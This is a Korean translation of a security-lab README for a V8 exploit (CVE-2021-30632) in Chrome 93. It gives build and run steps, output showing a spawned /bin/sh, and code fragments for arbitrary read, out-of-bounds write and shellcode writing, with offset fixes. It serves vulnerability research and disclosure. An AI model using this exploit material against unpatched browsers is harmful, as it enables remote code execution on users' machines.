
m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632
이 버그의 분석은 여기에서 확인할 수 있습니다. 이 버그는 익명의 연구원이 보고한 Chrome 버그로, 실제 공격에 악용된 것으로 추정되었습니다.
여기의 익스플로잇은 Ubuntu 20.04에서 v8 버전 9.3.345.16(커밋 632e6e7)으로 테스트되었습니다. 이 버전은 Chrome 93.0.4577.63에 포함된 버전으로, 버그가 수정되기 직전 버전입니다. Chrome 자체에서는 테스트하지 않았습니다.
테스트하려면 v8을 커밋 632e6e7에서 체크아웃하고 tools/dev/gm.py x64.release를 사용하여 기본 설정으로 컴파일하십시오. 그런 다음 d8로 poc.js 파일을 엽니다:
./d8 poc.js
Ubuntu 20.04에서는 execve("/bin/sh")를 호출하여 새 프로세스를 생성해야 합니다:
./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $
셸 코드는 다른 플랫폼에서는 변경이 필요할 수 있습니다.
익스플로잇은 매우 안정적입니다. 그러나 테스트 중 일부 오프셋이 파일의 작은 변경(주석을 추가하는 것만으로도 문제가 발생할 수 있음)에 민감하게 반응하여 익스플로잇 실패를 초래할 수 있음을 발견했습니다. 이 문제는 파일이 수정된 경우에만 발생하며, 일반적으로 주소 값에 쓰레기 값이 나타나는 형태로 드러납니다. 예를 들어:
instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a
위의 경우 rwx 페이지 주소와 initBackingStore가 분명히 잘못되었습니다. 근본 원인은 잘못된 elements 저장 값으로 보입니다. (800222d는 유효한 값이 아닙니다.) 이는 일반적으로 elements 주소와 관련된 다음 줄들을 변경하여 수정할 수 있습니다:
function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));
[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
하지만 이는 파일이 고정되어 있는 한 오프셋이 안정적이기 때문에 익스플로잇의 안정성에는 영향을 미치지 않습니다. 다만 poc가 수정되면 문제가 발생할 수 있습니다. 이 원인이 무엇인지는 모르지만, 고정된 오프셋에 의존하는 대신 메모리에서 패턴을 매칭하는 방식으로 익스플로잇을 더욱 견고하게 만들 수 있을 것입니다.